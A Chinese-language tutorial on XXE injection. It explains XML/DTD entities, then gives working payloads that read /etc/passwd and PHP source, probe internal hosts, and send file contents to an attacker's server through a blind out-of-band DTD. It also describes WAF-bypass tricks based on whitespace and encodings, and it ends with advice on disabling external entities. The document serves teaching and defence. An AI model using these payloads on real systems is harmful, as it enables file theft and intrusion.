0x01 XML基础知识
一个XML文档实例：
```<?xml version="1.0" encoding="ISO-8859-1"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>```
第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。接下来加上DTD进行声明 内部的 DOCTYPE 声明
<?xml version="1.0"?><!DOCTYPE note [ //定义此文档是 note 类型的文档。<!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素："to、from、heading,、body"<!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型<!ELEMENT from (#PCDATA)> //定义 from 元素为 "#PCDATA" 类型<!ELEMENT heading (#PCDATA)> // heading 元素为 "#PCDATA" 类型<!ELEMENT body (#PCDATA)> //定义 body 元素为 "#PCDATA" 类型]><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
DTD元素 在一个 DTD 中，元素通过元素声明来进行声明。声明一个元素 在 DTD 中，XML 元素通过元素声明来进行声明。元素声明使用下面的语法：只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明：<!ELEMENT 元素名称 (#PCDATA)> 例子：
``<!ELEMENT from (#PCDATA)>``带有任何内容的元素 通过类别关键词 ANY 声明的元素，可包含任何可解析数据的组合：<!ELEMENT 元素名称 ANY> 例子：
``<!ELEMENT note ANY>``带有子元素（序列）的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明：<!ELEMENT 元素名称 (子元素名称 1)> 或者 <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)> 例子：``<!ELEMENT note (to,from,heading,body)>`` 声明只出现一次的元素 <!ELEMENT 元素名称 (子元素名称)> 例子：
``<!ELEMENT note (message)>``上面的例子声明了：message子元素必须出现一次，并且必须只在 "note"元素中出现一次。
**外部文档声明**<!DOCTYPE 根元素 SYSTEM "文件名"><?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>```
这个 XML 文档和上面的 XML 文档相同，但是拥有一个外部的 DTD 这是包含 DTD 的 "note.dtd" 文件：
<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
DTD实体声明
重点介绍实体声明
**内部实体声明**``<!ENTITY 实体名称 "实体的值">``DTD 例子:<!ENTITY writer "Bill Gates">将writer 声明为”Bill Gates”，copyright 声明为 “Copyright W3School.com.cn”XML 例子:``<author>&writer;©right;</author>``注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。<!DOCTYPE foo [<!ENTITY xxe "sec test" >]><root><name>&xxe;</name></root>
**外部实体声明**外部实体引用支持通过协议，来动态的获取值``<!ENTITY 实体名称 SYSTEM "URI/URL">``例子：DTD 例子:```<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">```XML 例子:``<author>&writer;©right;</author>``可以通过``file://``协议来读取文件内容```<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>```
不同语言支持的协议不同
<!ENTITY % 实体名称 "实体的值">or<!ENTITY % 实体名称 SYSTEM "URI">
```<!ENTITY % style "2333"><!ENTITY % test "%style">```**公共实体声明**<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
0x02 漏洞原理
XXE Injection （XML External Entity Injection，XML 外部实体注入攻击）攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型，DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时，通过恶意构造，可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明，也可以外部引用；libxml2.9.1及以后，默认不再解析外部实体。
内部声明 DTD<!DOCTYPE 根元素 [元素声明]>引用外部 DTD<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">/或者<!DOCTYPE 根元素 SYSTEM "文件名">
在解析 XML 时，实体将会被替换成相应的引用内容,xml文档如下所示：
(1) 包含内部实体的 XML 文档
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE c [<!ENTITY copyright "Copyright xx.xx.xx">]><c>©right;</c
1. 包含外部实体的 XML 文档
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE c [<!ENTITY copyright SYSTEM "Copyright xx.xx.xx">]><c>©right;</c>
0x03 漏洞利用
1.XML 解析器解析外部实体时支持多种协议
libxml2：file、http、ftpPHP：file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、pharJava：file、http、ftp、https、jar、netdoc、mailto、gopher.NET：file、http、ftp、https
2.不同解析器可能默认对于外部实体会有不同的处理规则，有些可能不会对外部实体进行解析：
PHP：DOM、SimpleXML；.NET：System.Xml.XmlDocument、System.Xml.XmlReader。
对于XXE通常有两种利用方式：
1.有回显XXE
有回显的情况可以直接在页面中看到Payload的执行结果或现象。
带内XML外部实体(XXE),即攻击者可以发送带有XXE有效负载的请求,并从包含某些数据的Web应用程序获取响应。
攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件：
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE c [<!ENTITY file SYSTEM "file:///etc/passwd">]>
2.BlindXXE
服务器没有回显，只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体：一个只能在 DTD 中定义和使用的实体，一般引用时用 % 作为前缀; 内部定义实体：在一个实体中定义的一个实体，即嵌套定义：
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE c [<!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"%a;]><c>&b;</c>
Blind XXE 采用嵌套形式建立带外数据通道，利用参数实体将本地内容读出来后，作为外部实体中的 URL 中的参数向其指定服务器发起请求，然后在其指定服务器的日志（Apache 日志）中读出文件的内容（指定服务器即攻击者的服务器）;DTD 中使用 % 来定义的参数实体只能在外部子集中使用，或由外部文件定义参数实体，引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体，所以需要将嵌套的实体声明放在外部文件中。
<?xml version = "1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://test.txt">]><x>&xxe; &xxe;</x>//xxe为变量，读取test.txt//打印出来
用file协议读指定路径的文件
显示结果
玩法-内网探针或攻击内网应用（触发漏洞地址）内网探针
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "http://192.168.33.130:80/cookie.txt" >]><x>&rabbit;</x>
引入外部实体dtd,dtd就是xml的后缀，识别为xml格式
如果设置了禁止外部实体引用，将会失效
<?xml version="1.0" ?><!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;]><x>&send;</x>
可以在远程服务器evil2.dtd写上:
<!ENTITY send SYSTEM "file:///d:/test.txt">无回显-读取文件
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"><!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">%dtd;%send;]>
Base64加密是反正传输中乱码，传输失败。
本地192.168.xxx.xxx上构造：
test.dtd：
<!ENTITY % payload"<!ENTITY % send SYSTEM 'http://192.168.xxx.xxx:8081/?data=%file;'>">%payload;
开启日志，看日志就可以看到test.txt数据了。
协议-读文件（绕过）
<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]><x>&f;</x>
如何检测：
数据格式类型：如果发现有<user>test</user><pass>Mikasa</pass> 类型抓包发现 content-type中是 text/xml 或者 application/xml盲猜:更改content-type值application/xml看返回
burp上抓包 右键
do an active scan:扫描漏洞
Send to spider:爬行
利用爬行，找到有xml，把xml代码拷贝到post上既可以利用
0x04 绕过姿势
这里的文本$attack；指的是前面注册的实体的链接。链接中指定的文件内容将其替换为文档正文中的内容。上述文档分为三个重要部分：
1.可选标头，<?xml?>用于定义基本文档特征，例如版本和编码。2.XML文档模式的可选声明——<!DOCTYPE>。此声明可用于设置外部链接。3.文档正文。它有一个层次结构，其根部是指定的标签<! DOCTYPE>
正确配置的XML解释器要么不接受包含XML链接的文档进行处理，要么将验证链接及其来源，如果缺少验证，则可以通过链接加载任意文件并将其集成到文档体中，如上面的示例所示。
我们将根据WAF处理XML验证的方式来研究两种类型的WAF：
成熟的waf——使用自己的解析器预处理XML文档的WAFs。基于正则表达式。仅搜索数据中的特定子字符串或正则表达式的WAFS。
这两种类型的WAF都可以绕过。
下面我们展示了攻击者可以用来骗过WAF并获得XXE的几种方法。
由于XXE通常在XML文档的开头，所以比较省事儿的WAF可以避免处理整个文档，而只解析它的开头。但是，XML格式允许在格式化标记属性时使用任意数量的空格，因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格，从而绕过此类WAF。
为了绕过WAF，攻击者可能会发送特殊格式的XML文档，以便WAF认为它们无效。
链接到未知实体
比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的，否则，WAF本身也可能成为攻击的目标。问题是，外部资源的链接不仅可以存在于文档的第三部分（正文），还可以存在于声明<! DOCTYPE>中 。
这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。
幸运的是，防止这样的绕过非常简单——命令WAF中的XML解析器在遇到未知实体后不要关闭。
除了前面提到的xml文档的三个部分之外，还有位于它们之上的第四个部分，它们控制文档的编码（例如<?xml?>）——文档的第一个字节带有可选的BOM(字节顺序标记)。
更多信息：https://www.w3.org/TR/xml/#sec-guessing
一个xml文档不仅可以用UTF-8编码，也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下，使用正则表达式可以很容易地绕过WAF，因为在这种类型的WAF中，正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF，因为它们并不总是能够处理上面列出的所有编码。例如，libxml2解析器只支持一种类型的utf-32 - utf-32BE，特别是不支持BOM。
在上一节中，我们演示了文档的编码通常由其第一个字节指定。但是当包含编码属性的<?xml?>标记引用文档开头的不同字符集时会发生什么？在这种情况下，一些解析器更改编码，使文件的开头有一组字符，其余的是另一组编码。。也就是说，不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在<?xml?>结束后严格地更改字符集，而libxml2解析器可以在执行“编码”属性的值之后或在处理<?xml?>之前或之后切换编码。
只有在根本不处理这些文件时，比较成熟的WAF才能可靠地防止这些文件中的攻击。我们还必须记住，有许多同义词编码，例如UTF-32BE和UCS-4BE。此外，有些编码可能不同，但从编码文档初始部分 <?xml?>的角度来看，它们是兼容的。例如，看似UTF-8的文档可能包含字符串<?xml version=”1.0” encoding=”windows-1251”?>。
这里有一些例子。为了简明扼要，我们不把XXE放在文档里。
libxml2解析器将文档视为有效，但是，javax.xml.parsers set中的Java引擎认为它无效：
反之亦然，文档对于javax.xml.parser是有效的，但对于libxml2解析器是无效的：
libxml2的文档，在标记中间将编码从utf-16le更改为utf-16be：
libxml2的文档，编码从utf-8改为ebcdic-us：
正如你所看到的，有许多绕过方法。防止XXE的最好方法是配置应用程序本身，以安全的方式初始化XML解析器。为此，应该禁用两个选项：
外部实体外部DTD架构
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